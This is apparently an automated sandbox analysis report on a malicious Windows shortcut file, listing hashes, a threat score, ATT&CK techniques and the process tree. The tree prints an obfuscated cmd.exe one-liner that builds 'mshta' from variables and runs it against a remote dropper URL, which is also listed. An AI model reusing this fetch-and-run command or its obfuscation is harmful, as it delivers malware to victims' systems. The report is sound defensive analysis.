448a77d4bdc88f9a2394e4b7f914dffb83b3829b41a6cbfb6699e98bff658af5

Analysis

max time kernel
60s
max time network
28s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/08/2026, 18:35

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General

Target
DOC-FMHNR3.lnk
Size 1KB
Sample260822-w8ajlaszfw
SHA256 448a77d4bdc88f9a2394e4b7f914dffb83b3829b41a6cbfb6699e98bff658af5
MD5 0dbda04df368d256de0a3f8574e44c09
SHA1 c7a251500f3ef755a023833e80385a936f0a0a48
SHA512 a75c5772aaa9487d8e1bd087613322408ee2e921ba85c789e5158b5cf0821bebfbb35b931407d53d488ea60a3ae6551da51fecf78c0e7f33ddd7dc00891020a4
TLSH
T1473124106EF90664F3B79F7694BB6B2099BEB9568D10CA1D0141864C1032A05E67AF77
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3220	cmd.exe
4212	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3220 wrote to memory of 4212	3220	cmd.exe	90
PID 4212 wrote to memory of 4080	4212	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-FMHNR3.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3220
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set aYGW=msh&&set qrsl=ta&&start "" !aYGW!!qrsl! https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4212
- - C:\Windows\System32\mshta.exe
    mshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    PID:4080

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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